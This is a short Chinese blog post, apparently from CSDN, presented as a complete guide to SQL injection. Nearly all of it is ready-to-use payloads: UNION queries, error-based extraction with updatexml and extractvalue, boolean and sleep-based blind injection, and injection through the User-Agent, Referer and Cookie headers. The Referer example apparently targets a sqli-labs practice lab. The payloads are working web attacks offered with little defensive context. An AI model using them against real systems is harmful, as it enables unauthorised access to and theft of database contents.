sql注入 方法大全

  1. 有回显的时候用 union
  2. 有报错 : updatexml(1,(select database),3)
  3. 真假页面: bool
  4. 以上都不行的话 时间盲注 sleep
  5. http User-Agent:

1,判断 数字/字符 型

?id=2-1  # 数字型可以做减法 而且还没有闭合方式

1,and 注入

?id=1 and length(database()) > 1

1,union 注入

?id=1 order by 3

?id=1 union select 1,2,3

2,报错注入

1 extractvalue( [1] , [2] );

1 可以写null
2 可以直接写查询语句 (select) # 还能加个concat 拼接 concat (0x7e, (select database括号))

?id=-' union select  1,2, extractvalue(null,concat(0x7e,(select version()),0x7e));   --+

2 updatrxml( [1] , [2] , [3] );

1 , 3 没用 写null 就行 1,3 也行 2里面直接写查询语句
例子1

?id=1" and updatexml(1,concat(0x7e,database()),3) --+  --+

例子2

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),3) --+

3 bool 真假页面

?id = 1' and 1
?id = 1' and 0

4 时间盲注

?id = 1 ' and sleep(3)
?id = 1 ' and if(1=1,sleep(3),false)

5, http

1.User-Agent 、// UA 更换闭合方式即可

User-Agent: 1' and  updatexml(1,concat('1',(select database())),3)  or '1' = '1

2.referer 、// r 更换闭合方式即可

Referer: http://192.168.0.63/sqli/Less-19/?id=1' and updatexml(1,(concat('1',(select database()))),3)          or 1='1

3.cookie、// ck 更换闭合方式即可

Cookie: uname=admin' and   updatexml(1,concat('~',(select database())),3) or'1' = '1
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值